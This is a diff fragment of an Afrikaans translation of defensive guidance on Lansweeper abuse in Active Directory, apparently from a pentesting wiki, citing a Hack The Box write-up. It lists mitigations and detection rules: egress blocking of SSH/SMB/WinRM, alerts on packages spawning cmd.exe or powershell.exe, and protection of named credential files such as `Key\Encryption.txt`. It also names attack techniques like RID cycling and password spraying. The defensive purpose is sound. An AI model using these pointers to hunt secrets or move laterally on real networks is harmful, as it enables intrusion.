+- Beperk of verwyder anonieme SMB-enumerasies. Moniteer vir RID cycling en abnormale toegang tot Lansweeper-shares.
+- Egress-beheer: blokkeer of beperk streng uitgaande SSH/SMB/WinRM vanaf scanner-hosts. Waarsku op nie-standaard poorte (bv. 2022) en ongewone kliënt-banners soos Rebex.
+- Beskerm `Website\\web.config` en `Key\\Encryption.txt`. Externaliseer secrets in 'n vault en roteer by blootstelling. Oorweeg diensrekeninge met minimale regte en gMSA waar toepaslik.
+- AD-monitering: waarsku oor veranderinge aan Lansweeper-verwante groepe (bv. “Lansweeper Admins”, “Remote Management Users”) en oor ACL-wijzigings wat GenericAll/Write-lidmaatskap aan bevoorregte groepe verleen.
+- Oudit ontplooiingspakket-skeppings/wysigings/uitvoerings; waarsku as pakkette cmd.exe/powershell.exe begin of onverwagte uitgaande verbindings maak.

 ## Verwante onderwerpe
- SMB/LSA/SAMR enumeration and RID cycling
- Kerberos password spraying and clock skew considerations
- BloodHound path analysis of application-admin groups
- WinRM usage and lateral movement
+- SMB/LSA/SAMR enumerasie en RID cycling
+- Kerberos password spraying en klokskewe-oorwegings
+- BloodHound padontleding van application-admin-groepe
+- WinRM-gebruik en lateral movement

 ## Verwysings
 - [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)